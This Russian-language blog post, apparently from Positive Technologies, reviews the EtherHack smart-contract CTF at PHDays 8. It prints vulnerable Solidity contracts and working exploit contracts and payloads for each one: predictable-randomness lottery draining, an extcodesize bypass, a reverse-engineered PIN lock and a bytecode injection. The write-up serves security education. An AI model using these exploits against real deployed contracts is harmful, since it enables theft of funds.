Поиск уязвимостей в смарт-контрактах: обзор конкурса EtherHack на Positive Hack Days 8

    image

    В этом году на PHDays впервые проходил конкурс под названием EtherHack. Участники искали уязвимости в смарт-контрактах на скорость. В этой статье мы расскажем вам о заданиях конкурса и возможных способах их решения.

    Azino 777


    Выиграй лотерею и сорви банк!


    Первые три задания были связаны с ошибками при генерации псевдослучайных чисел, о которых мы недавно рассказывали: Предсказываем случайные числа в умных контрактах Ethereum. В основе первого задания лежал генератор псевдослучайных чисел (ГПСЧ), который использовал хеш последнего блока как источник энтропии для генерации случайных чисел:

    pragma solidity ^0.4.16;
    	
    
    	contract Azino777 {
    	
    
    	  function spin(uint256 bet) public payable {
    	    require(msg.value >= 0.01 ether);
    	    uint256 num = rand(100);
    	    if(num == bet) {
    	        msg.sender.transfer(this.balance);
    	    }
    	  }
    	
    
    	  //Generate random number between 0 & max
    	  uint256 constant private FACTOR =  1157920892373161954235709850086879078532699846656405640394575840079131296399;
    	  function rand(uint max) constant private returns (uint256 result){
    	    uint256 factor = FACTOR * 100 / max;
    	    uint256 lastBlockNumber = block.number - 1;
    	    uint256 hashVal = uint256(block.blockhash(lastBlockNumber));
    	
    
    	    return uint256((uint256(hashVal) / factor)) % max;
    	  }
    	
    
    	  function() public payable {}
    	}

    Поскольку результат вызова функции block.blockhash(block.number-1) будет одинаковым для любой транзакции в пределах одного блока, в атаке может использоваться контракт-эксплойт с такой же функцией rand(), чтобы вызвать целевой контракт через внутреннее сообщение:

    function WeakRandomAttack(address _target) public payable {
        target = Azino777(_target);
    }
    function attack() public {
        uint256 num = rand(100);
        target.spin.value(0.01 ether)(num);
    }

    Private Ryan


    Мы добавили приватное начальное значение, которое никто никогда не вычислит.


    Это задание — немного усложненный вариант предыдущего. Переменная seed, которая считается приватной, используется для смещения порядкового номера блока (block.number), так чтобы хеш блока не зависел от предыдущего блока. После каждой ставки seed перезаписывается на новое «случайное» смещени. Например, в лотерее Slotthereum именно так и было.

    contract
    PrivateRyan {
      uint private seed = 1;
      function PrivateRyan() {
        seed = rand(256);
      }
      function spin(uint256 bet) public payable {
        require(msg.value >= 0.01 ether);
        uint256 num = rand(100);
        seed = rand(256);
        if(num == bet) {
            msg.sender.transfer(this.balance);
        }
      }
      /* ... */
    }

    Как и в предыдущем задании, хакеру нужно было всего лишь скопировать функцию rand() в контракт-эксплойт, но в этом случае значение приватной переменной seed нужно было получить вне блокчейна и затем отправить его в эксплойт в качестве аргумента. Для этого можно было воспользоваться методом web3.eth.getStorageAt() из библиотеки web3:

    image

    Чтение хранилища контракта вне блокчейна для получения начального значения

    После получения начального значения остается только отправить его в эксплойт, практически идентичный тому, что был в первом задании:

    contract PrivateRyanAttack {
      PrivateRyan target;
      uint private seed;
      function PrivateRyanAttack(address _target, uint _seed) public payable {
        target = PrivateRyan(_target);
        seed = _seed;
      }
      function attack() public {
        uint256 num = rand(100);
        target.spin.value(0.01 ether)(num);
      }
      /* ... */
    }

    Wheel of Fortune


    В этой лотерее используется хеш последующего блока. Попробуй его вычислить!


    В этом задании необходимо было узнать хеш блока, номер которого сохранялся в структуре Game после того, как ставка была сделана. Затем этот хеш извлекался для генерации случайного числа после совершения следующей ставки.

    Pragma
    solidity
    ^0.4.16;
    	
    
    	contract WheelOfFortune {
    	  Game[] public games;
    	
    
    	  struct Game {
    	      address player;
    	      uint id;
    	      uint bet;
    	      uint blockNumber;
    	  }
    	
    
    	  function spin(uint256 _bet) public payable {
    	    require(msg.value >= 0.01 ether);
    	    uint gameId = games.length;
    	    games.length++;
    	    games[gameId].id = gameId;
    	    games[gameId].player = msg.sender;
    	    games[gameId].bet = _bet;
    	    games[gameId].blockNumber = block.number;
    	    if (gameId > 0) {
    	      uint lastGameId = gameId - 1;
    	      uint num = rand(block.blockhash(games[lastGameId].blockNumber), 100);
    	      if(num == games[lastGameId].bet) {
    	          games[lastGameId].player.transfer(this.balance);
    	      }
    	    }
    	  }
    	
    
    	  function rand(bytes32 hash, uint max) pure private returns (uint256 result){
    	    return uint256(keccak256(hash)) % max;
    	  }
    	
    
    	  function() public payable {}
    	}
    

    В данном случае возможны два варианта решения.

    1. Вызвать целевой контракт дважды через контракт-эксплойт. Результат вызова функции block.blockhash(block.number) всегда будет равно нулю.
    2. Подождать, когда смайнится 256 блоков, и сделать вторую ставку. Хеш сохраненного порядкового номера блока будет равен нулю из-за ограничений виртуальной машины Ethereum (EVM) по количеству доступных хешей блоков.

    В обоих случаях, выигрышной ставкой будет uint256(keccak256(bytes32(0))) % 100 или «47».

    Call Me Maybe


    Этот контракт не любит, когда его вызывают другие контракты.


    Один из вариантов защиты контракта от вызова другими контрактами — использование ассемблер-инструкции EVM extcodesize, которая возвращает размер контракта по его адресу. Способ заключается в том, чтобы, используя ассемблерную вставку, применить данную инструкцию для адреса отправителя транзакции. Если результат больше нуля, то отправитель транзакции является контрактом, поскольку у обычных адресов в Ethereum нет кода. Именно такой подход и использовался в этом задании для предотвращения вызова контракта другими контрактами.

    contract
    CallMeMaybe
    {
    	    modifier CallMeMaybe() {
    	      uint32 size;
    	      address _addr = msg.sender;
    	      assembly {
    	        size := extcodesize(_addr)
    	      }
    	      if (size > 0) {
    	          revert();
    	      }
    	      _;
    	    }
    	
    
    	    function HereIsMyNumber() CallMeMaybe {
    	        if(tx.origin == msg.sender) {
    	            revert();
    	        } else {
    	            msg.sender.transfer(this.balance);
    	        }
    	    }
    	
    
    	    function() payable {}
    	}

    Свойство транзакции tx.origin указывает на первоначальный создатель транзакции, а msg.sender — на последнего вызывающего. Если мы отправим транзакцию с обычного адреса, эти переменные будут равны, и мы в итоге получим revert(). Поэтому для решения нашей проблемы нужно было обойти проверку инструкции extcodesize, так чтобы tx.origin и msg.sender отличались. К счастью, в EVM существует одна славная особенность, которая в этом поможет:

    image

    И действительно, когда только что размещенный контракт вызывает какой-то другой контракт в конструкторе, его самого в блокчейне еще не существует, он выступает исключительно в роли кошелька. Таким образом, к новому контракту не привязан код и extcodesize будет выдавать нуль:

    	contract CallMeMaybeAttack {
        function CallMeMaybeAttack(CallMeMaybe _target) payable {
            _target.HereIsMyNumber();
        }
        function() payable {}
    }

    The Lock


    Как ни странно, замок закрыт. Попробуйте подобрать пин-код через функцию unlock(bytes4 pincode). Каждая попытка разблокировки обойдется вам в 0,5 эфира.


    В этом задании участникам код не выдавался — они должны были сами восстановить логику контракта по его байт-коду. Одним из вариантов было использование Radare2 — платформы, которая применяется для дизассемблирования и отладки EVM.

    Для начала разместим пример задания и введем код наугад:

    await contract.unlock("1337", {value: 500000000000000000}) →false

    Попытка, конечно, хорошая, но безуспешная. Теперь попробуем отладить эту транзакцию.

    r2 -a evm -D evm "evm://localhost:8545@0xf7dd5ca9d18091d17950b5ecad5997eacae0a7b9cff45fba46c4d302cf6c17b7"

    В данном случае мы даем указание Radare2 использовать архитектуру «evm». Затем этот инструмент подключается к ноде Ethereum и извлекает трассировку этой транзакции в виртуальной машине. И теперь, наконец, мы готовы погрузиться в байт-код EVM.

    Прежде всего, нужно выполнить анализ:

    [0x00000000]> aa
    [x] Analyze all flags starting with sym. and entry0 (aa)

    Далее дизассемблируем первые 1000 инструкций (этого должно быть достаточно для охвата всего контракта), используя команду pd 1000, и переключаемся на просмотр графа командой VV.

    В байт-коде EVM, скомпилированном при помощи solc, обычно первым идет диспетчер функций. На основании первых четырех байтов данных вызова, содержащих сигнатуру функции, которая определяется как bytes4(sha3(function_name(params))), диспетчер функций решает, какую функцию вызвать. Нас интересует функция unlock(bytes4), которая соответствует 0x75a4e3a0.

    Следуя за потоком исполнения при помощи клавиши s, мы доберемся до узла, который сравнивает инструкцию callvalue со значением 0x6f05b59d3b20000 или 500000000000000000, которое эквивалентно 0,5 эфира:

    push8 0x6f05b59d3b20000
    callvalue
    lt

    Если предоставленного эфира достаточно, то мы попадаем в узел, который напоминает управляющую структуру:

    push1 0x4
    dup4
    push1 0xff
    and
    lt
    iszero
    push2 0x1a4
    jumpi

    Код помещает значение 0x4 в верх стека, производит проверку верхней границы (значение не должно превышать 0xff) и сравнивает lt с некоторым значением, которое продублировалось из четвертого элемента стека (dup4).

    Пролистав до самого низа графа, мы видим, что этот четвертый элемент по сути является итератором, и эта управляющая структура является циклом, который соответствует for(var i=0; i<4; i++):

    push1 0x1
    add
    swap4

    Если мы рассмотрим тело цикла, становится очевидно, что оно выполняет перебор четырех входящих байтов и производит какие-то операции с каждым из байтов. Во-первых, цикл проверяет, что энный байт больше, чем 0x30:

    push1 0x30
    dup3
    lt
    iszero

    а также, что это значение меньше, чем 0x39:

    push1 0x39
    dup3
    gt
    iszero

    что по сути является проверкой того, что данный байт находится в диапазоне от 0 до 9. Если проверка прошла успешно, то мы оказываемся в самом важном блоке кода:

    image

    Разобьем этот блок на части:

    1. Третий элемент в стеке — ASCII-код энного байта пин-кода. 0x30 (код ASCII для нуля) помещается в стек и затем вычитается из кода этого байта:

    push1 0x30
    dup3
    sub

    То есть pincode[i] - 48, и мы по сути получаем цифру из кода ASCII, назовем ее d.

    2. 0x4 добавляется в стек и используется в качестве экспоненты для второго элемента в стеке, d:

    swap1
    pop
    push1 0x4
    dup2
    exp

    То есть d ** 4.

    3. Извлекается пятый элемент стека и к нему прибавляется результат возведения в степень. Назовем эту сумму S:

    dup5
    add
    swap4
    pop
    dup1

    То есть S += d ** 4.

    4. 0xa (код ASCII для 10) помещается в стек и используется как множитель для седьмого элемента стека (который был шестым до этого добавления). Нам неизвестно, что это, поэтому назовем этот элемент U. Затем к результату умножения добавляется d:

    push1 0xa
    dup7
    mul
    add
    swap5
    pop

    То есть: U = U * 10 + d или, проще говоря, это выражение восстанавливает весь пин-код как число из отдельных байтов ([0x1, 0x3, 0x3, 0x7] → 1337).

    Самое сложное мы сделали, теперь перейдем к коду после цикла.

    dup5
    dup5
    eq

    Если пятый и шестой элементы в стеке равны, то поток исполнения приведет нас к инструкции sstore, которая устанавливает некий флаг в хранилище контрактов. Поскольку это единственная инструкция sstore, то по всей видимости это то, что мы искали.

    Но как пройти эту проверку? Как мы уже выяснили, пятый элемент в стеке — это S, а шестой — U. Поскольку S представляет собой сумму всех цифр пин-кода, возведенных в четвертую степень, нам нужен пин-код, для которого будет выполняться это условие. В нашем случае анализ показал, что 1**4 + 3**4 + 3**4 + 7**4 не равняется 1337, и мы не добрались до выигрышной инструкции sstore.

    Но теперь мы можем вычислить число, которое удовлетворяет условиям этого уравнения. Есть только три числа, которые можно записать как сумму составляющих их цифр в четвертой степени: 1634, 8208 и 9474. Любое из них может открыть замок!

    Pirate Ship


    Эй, салага! Пиратское судно причалило в порт. Заставь его сняться с якоря и поднять флаг с Веселым Роджером и отправляйся на поиски сокровищ.


    Стандартный ход исполнения контракта включает три действия:

    1. Вызов функции dropAnchor() с номером блока, который должен быть более чем на 100 000 блоков больше, чем текущий. Функция динамически создает контракт, представляющий собой «якорь», который можно «поднять» при помощи selfdestruct() после указанного блока.
    2. Вызов функции pullAnchor(), которая инициирует selfdestruct(), если прошло достаточно времени (очень много времени!).
    3. Вызов функции sailAway(), которая устанавливает для blackJackIsHauled значение true, если контракта-якоря не существует.

    pragma
    solidity
    ^0.4.19;
    	
    
    	contract PirateShip {
    	    address public anchor = 0x0;
    	    bool public blackJackIsHauled = false;
    	
    
    	    function sailAway() public {
    	        require(anchor != 0x0);
    	
    
    	        address a = anchor;
    	        uint size = 0;
    	        assembly {
    	            size := extcodesize(a)
    	        }
    	        if(size > 0) {
    	            revert(); // it is too early to sail away
    	        }
    	
    
    	        blackJackIsHauled = true; // Yo Ho Ho!
    	    }
    	
    
    	    function pullAnchor() public {
    	        require(anchor != 0x0);
    	        require(anchor.call()); // raise the anchor if the ship is ready to sail away
    	    }
    	
    
    	    function dropAnchor(uint blockNumber) public returns(address addr) {
    	        // the ship will be able to sail away in 100k blocks time
    	        require(blockNumber > block.number + 100000);
    	
    
    	        // if(block.number < blockNumber) { throw; }
    	        // suicide(msg.sender);
    	
    
    	        uint[8] memory a;
    	        a[0] = 0x6300;      // PUSH4 0x00...
    	        a[1] = blockNumber; // ...block number (3 bytes)
    	        a[2] = 0x43;        // NUMBER
    	        a[3] = 0x10;        // LT
    	        a[4] = 0x58;        // PC
    	        a[5] = 0x57;        // JUMPI
    	        a[6] = 0x33;        // CALLER
    	        a[7] = 0xff;        // SELFDESTRUCT
    	
    
    	        uint code = assemble(a);
    	
    
    	        // init code to deploy contract: stores it in memory and returns appropriate offsets
    	        uint[8] memory b;
    	        b[0] = 0;             // allign
    	        b[1] = 0x6a;          // PUSH11
    	        b[2] = code;          // contract
    	        b[3] = 0x6000;        // PUSH1 0
    	        b[4] = 0x52;          // MSTORE
    	        b[5] = 0x600b;        // PUSH1 11 ;; length
    	        b[6] = 0x6015;        // PUSH1 21 ;; offset
    	        b[7] = 0xf3;          // RETURN
    	
    
    	        uint initcode = assemble(b);
    	        uint sz = getSize(initcode);
    	        uint offset = 32 - sz;
    	
    
    	        assembly {
    	            let solidity_free_mem_ptr := mload(0x40)
    	            mstore(solidity_free_mem_ptr, initcode)
    	            addr := create(0, add(solidity_free_mem_ptr, offset), sz)
    	        }
    	
    
    	        require(addr != 0x0);
    	        anchor = addr;
    	    }
    	
    
    	    ///////////////// HELPERS /////////////////
    	
    
    	    function assemble(uint[8] chunks) internal pure returns(uint code) {
    	        for(uint i=chunks.length; i>0; i--) {
    	            code ^= chunks[i-1] << 8 * getSize(code);
    	        }
    	    }
    	
    
    	    function getSize(uint256 chunk) internal pure returns(uint) {
    	        bytes memory b = new bytes(32);
    	        assembly { mstore(add(b, 32), chunk) }
    	        for(uint32 i = 0; i< b.length; i++) {
    	            if(b[i] != 0) {
    	                return 32 - i;
    	            }
    	        }
    	        return 0;
    	    }
    	}

    Уязвимость вполне очевидна: у нас есть прямая инъекция ассемблер-инструкций при создании контракта в функции dropAnchor(). Но основная сложность заключалась в том, чтобы создать полезную нагрузку, которая позволит нам пройти проверку по block.number.

    В EVM можно создавать контракты, используя инструкцию create. Ее аргументами являются value, input offset и input size. value — это байт-код, который размещает сам контракт (инициализирующий код). В нашем случае инициализирующий код + код контракта — помещается в uint256 (спасибо команде GasToken за идею):

    0x6a63004141414310585733ff600052600b6015f3

    где байты, выделенные жирным шрифтом, являются кодом размещаемого контракта, а 414141 — место инъекции. Поскольку перед нами стоит задача избавиться от оператора throw, нужно вставить наш новый контракт и перезаписать замыкающую часть инициализирующего кода. Попробуем провести инъекцию контракта с инструкцией 0xff, что приведет к безусловному удалению контракта-якоря при помощи selfdestruct():

    68 414141ff3f3f3f3f3f ;; push9 contract
    60 00                 ;; push1 0
    52                    ;; mstore
    60 09                 ;; push1 9
    60 17                 ;; push1 17
    f3                    ;; return

    Если мы преобразуем эту последовательность байтов в uint256 (9081882833248973872855737642440582850680819) и используем ее в качестве аргумента для функции dropAnchor(), то получим следующее значение для переменной code (байт-код, выделенный жирным шрифтом — это наша полезная нагрузка):

    0x630068414141ff3f3f3f3f3f60005260096017f34310585733ff

    После того как переменная code станет частью переменной initcode, мы получим следующее значение:

    0x68414141ff3f3f3f3f3f60005260096017f34310585733ff600052600b6015f3

    Теперь старшие байты 0x6300 ушли, и оставшаяся часть, содержащая исходный байт-код, отбрасывается после 0xf3 (return).

    image

    В результате создается новый контракт с измененной логикой:

    41 ;; coinbase
    41 ;; coinbase
    41 ;; coinbase
    ff ;; selfdestruct
    3f ;; junk
    3f ;; junk
    3f ;; junk
    3f ;; junk
    3f ;; junk

    Если теперь вызвать функцию pullAnchor(), то этот контракт будет сразу же уничтожен, поскольку проверки по block.number у нас больше нет. После этого вызываем функцию sailAway() и празднуем победу!

    Результаты


    1. Первое место и эфир в сумме, эквивалентной 1 000 долларов США: Алексей Перцев (p4lex)
    2. Второе место и Ledger Nano S: Алексей Марков
    3. Третье место и сувениры PHDays: Александр Власов

    Все результаты: etherhack.positive.com/#/scoreboard

    image

    Поздравляем победителей и благодарим всех участников!

    P.S. Выражаем благодарность Zeppelin за размещение в открытый доступ исходного кода платформы Ethernaut CTF.
    • +11
    • 1,9k
    • 2
    Positive Technologies 241,92
    Компания
    Поделиться публикацией
    Комментарии 2
      0

      Вопрос к сейфу… А почему 0000 не подходит?

        0

        Смартконтракт призван по идее сделать заключение сделок быстрым, безопасным и независящим от третьих лиц. Правильно ли я понимаю, что геморроя только прибавится. Теперь надо сначала нанять аудитора безопасности смартконтракта, потом понадобятся ещё оракулы… Получается дорого и бестолково, зато модно и молодёжно?

        Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

        Самое читаемое